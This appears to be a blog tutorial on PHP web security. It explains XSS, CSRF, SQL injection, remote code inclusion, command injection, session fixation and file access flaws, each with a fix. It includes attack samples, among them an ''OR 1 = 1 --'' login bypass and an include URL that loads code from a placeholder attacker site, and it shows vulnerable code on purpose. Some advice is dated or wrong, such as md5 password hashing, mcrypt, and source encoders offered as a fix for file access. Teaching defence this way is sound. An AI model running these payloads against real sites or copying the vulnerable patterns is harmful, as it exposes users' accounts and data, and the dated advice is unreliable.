#goodcore

Crawl Space - Isaac and Miria

Security in PHP

PHP as a language is full of tools providing great power to develop rich web applications. If used effectively, the developers can create complex and robust applications.

To understand the best practices to make a secure site in PHP we must learn how the site can be cracked or hacked. Most website take more or less user inputs and it runs through by accessing a url. Any web site can be hacked using one of the following methods:- 1.  Input Data. 2.  Cross Site Scripting (XSS). 3.  Cross Site Request Forgeries (CSRF). 4.  SQL Injection. 5.  Code Injection. 6.  Command Injection. 7.  Session. 8.  File Access. Here are the threat details along with solution to guard against those attacks:- 1. Input Data Validation:- Every application on the internet takes more or less user input. Security-conscious mindset must assume that all data received in input is tainted and this data must be filtered before use in the application. Data supplied to the script can come from several sources, including GET, POST, cookies, server environment variables, and system environment variables. All data of PHP super global arrays should be validate or filtered since such data mostly comes from external sources. Even the $_SERVER array is not fully safe, because it may contain some data provided by the client. There are two approaches to filter data:- a. Black List Approach and b. White List Approach.             a. Black List Approach: - In this approach a specific set of words that are considered                    inappropriate for the application, are filtered out. However, any word that is not in that list is    allowed therefore use of this approach is not encouraged.             b. White List Approach:- Instead of identifying data that is unacceptable, a white list identifies only              the data that is acceptable. This is information you already have when developing an application; it         may change in the future, but developer can maintain control over the parameters that change and           are not left to the whims of would-be attackers. While Validating input data we can use several php functions or even our own defined function to take only the desired data. It is the sole responsible of the developer to control the behaviour of user while inputting data. Whereas filtering input protects application from bad or harmful data, Escaping Output protects the client and user from potentially damaging commands. To escape output intended for a Web browser, PHP provides htmlspecialchars() and htmlentities(). Client-side validation is important for usability where as server-side filtering is important for security therefore we must always implement Server Side Validation.

2.  Cross Site Scripting (XSS):- XSS is one of the most common vulnerabilities of web applications. In such an attack, a hacker stores CSS, HTML, or JavaScript content in the application database. Later, that content is displayed by the application -- it can alter the page or runs some code and can steal user’s cookies or redirect confidential information to a third-party site. To prevent this type of attack Filtering input properly is very important. Fortunately PHP provides functions such as htmlspecialchars(), strip_tags(), escape() to take a major step to prevent such attack. 3.  Cross Site Request Forgeries (CSRF):-  CSRF is an attack that attempts to cause victim to unknowingly send arbitrary HTTP requests, usually to URLs requiring privileged access and using the existing session of the victim to determine access. For Example :- Let say a web site has the following code:- <?php

if (isset($_REQUEST["name"], $_REQUEST["amount"])) {

    // process the request and transfer the amount from

}

?> And an user “A” logged in to the web site. Now another user lest say user “X” wants to perform a CSRF attack on the site, and constructs a URL like the following and sends it to user “A” in an email: <a href="http://www.<web site name>.com/process.php?name=Bob&amount=1000">Visit My WebSite</a> If User “A” clicks on this link, and is logged into the website already, this request will deduct 1000 bucks  from “A” account and transfer it to “X”. Alternatively, “X” can create an image link to perform the same task.             The Solution:-  A simple token method can block these attempts and force users to use specific forms. The token method involves the use of a randomly generated token that is stored in the user’s session when the user accesses the form page and is also placed in a hidden field on the form. The processing script checks the token value from the posted form against the value in the user’s session. If it matches, then the request is valid. If not, then it is considered as suspect and the script is not allowed to process the input displaying an error to the user. 4.  SQL Injection:- SQL injection occurs when a malicious user experiments on a form to gain information about a database. After For Example:-  Let say a web site login form taking user name and password through input form. And processing like:- $username = $_POST[’username’]; $password = md5($_POST[’password’]); $sql = "SELECT * FROM users WHERE username = ’{$username}’ AND password = ’{$password}’"; if (count($results) > 0) { // Login Sussessfull } Now an attacker might attempt to log in using a username similar to the following: username’ OR 1 = 1 -- Therefore SQL statement is now:- SELECT * FROM users WHERE username = ’username’ OR 1 = 1 --’ AND password = ‘ebkfsdskbfk3sadladfj’ Since 1 = 1 is always true and - begins an SQL comment, the SQL query ignores everything after the - and successfully returns all user records.             Solution:- Filter input and escaping the output for SQL will eliminate the risk of attack. To escape output for an SQL query, use the driver-specific _escape_string() function for database. The best way to prevent such attack is use of PDO. With parameterized queries and prepared statements, developer can prevent SQL injection. 5.  Code Injection:- Code injection attack occurs when an attacker is able to execute PHP code of their choosing in a web site. For example:-  many applications use query string variables to structure the application into sections, such as: http://<website>/?section=tech. One such application may use an include statement to include a script to display the "tech" section: include "{$_GET[’section’]}/data.inc.php"; Now an attacker modified the url to: http:// <website>/?section=http%3A%2F%2<attacker website>%2Fattack.inc%3F This way an attacker can run their own code to a website and can cause a devastating result to other web site.             Solution:- While this attack is very powerful, effectively granting the attacker all the same privileges enjoyed by the Web server, it is easy to protect against it by filtering all input and never using tainted data in an include or require statement. Example:- $clean = array(); $sections = array(‘home’,  ‘tech’,  ’blog’); if (in_array($_GET[’section’],  $sections)) { $clean[‘section’] = $_GET[‘section’]; } else { $clean[‘section’] = ‘home’; } include "{clean[‘section’]}/data.inc.php";

6.  Command Injection:- While PHP provides great power with the exec(), system() and passthru() functions, aswell as the ‘ (backtick) operator, these must not be used lightly, and it is important to take great care to ensure that attackers cannot inject and execute arbitrary system commands. Again, proper filtering and escaping will mitigate the risk—a white list filtering approach that limits the number of commands that user may execute works. PHP provides escapeshellcmd() and escapeshellarg() as a means to properly escape shell output. If possible then avoid the use of shell commands. If they are necessary, avoid the use of client input to construct dynamic shell commands. 7. Session Security:- Two popular forms of session attacks are session fixation and session hijacking. Whereas most of the other attacks described here can be prevented by filtering input and escaping output But session attacks cannot be prevented in the same way. When a user first encounters a page in a PHP application that calls session_start(), a session is created for the user. PHP generates a random session identifier to identify the user, and then it sends a Set-Cookie header to the client. By default, the name of this cookie is PHPSESSID, but it is possible to change the cookie name in php.ini or by using the session_name() function. On subsequent visits, the client identifies the user with the cookie, and this is how the application maintains state. It is possible, however, to set the session identifier manually through the query string, forcing the use of a particular session. This simple attack is called session fixation because the attacker fixes the session. This is most commonly achieved by creating a link to the application and appending the session identifier that the attacker wishes to give any user clicking the link. <a href="http://<web site>/index.php?PHPSESSID=232319">Click here</a> While the user accesses your site through this session, they may provide sensitive information or even login credentials. If the user logs in while using the provided session identifier, the attacker may be able to “ride” on the same session and gain access to the user’s account. This is why session fixation is sometimes referred to as “session riding”. Since the purpose of the attack is to gain a higher level of privilege, the points at which the attack should be blocked are clear: every time a user’s access level changes, it is necessary to regenerate the session identifier. PHP makes this a simple task with session_regenerate_id(). While this will protect users from having their session fixed and offering easy access to any possible attacker, it won’t help much against another common session attack known as session hijacking. This is a rather generic term used to describe any means by which an attacker gains a user’s valid session identifier (rather than providing one of his own).

For example, suppose that a user logs in. If the session identifier is regenerated, they have a new session ID. What if an attacker discovers this new ID and attempts to use it to gain access through that user’s session? It is then necessary to use other means to identify the user. One way to identify is to check various request headers sent by the client. The most basic protection is to simply disable URL session support and rely on cookies for session ID transport. In PHP developer can disable URL session support by setting the session.use_only_cookies ini setting to On or 1 prior to initialization. If the web site hosted in shared server then storing session in database is highly encouraged.

8.  File Access Security:- PHP has the ability to directly access the file system and even execute shell commands. Consider the following PHP that downloads a file according to a user supplied parameter:

<?php if (isset($_GET['filename']) {     $filename = $_GET['filename'];     //Setting for header     header('Content-Disposition: attachment; filename="' . $filename . '";');     echo file_get_contents($filename); } ?>

The script is very dangerous since it can serve files from any directory that is accessible to it. Again, proper filtering and escaping can mitigate these risks. One possible way to keep code safe is the use of PHP encoders such as the those offered by Zend, eAccelerator and so on, that hide PHP source code inside a binary file. A more flexible alternative is to encrypt the file by yourself with the mcrypt extension. In above section we discussed about the issues and the solution to prevent attack with core PHP. Fortunately several Frameworks like Zend, Yii, Codeigniter provides their built in enhanced function for better security. In future posts, we will share insights on how security can be implemented using these frameworks.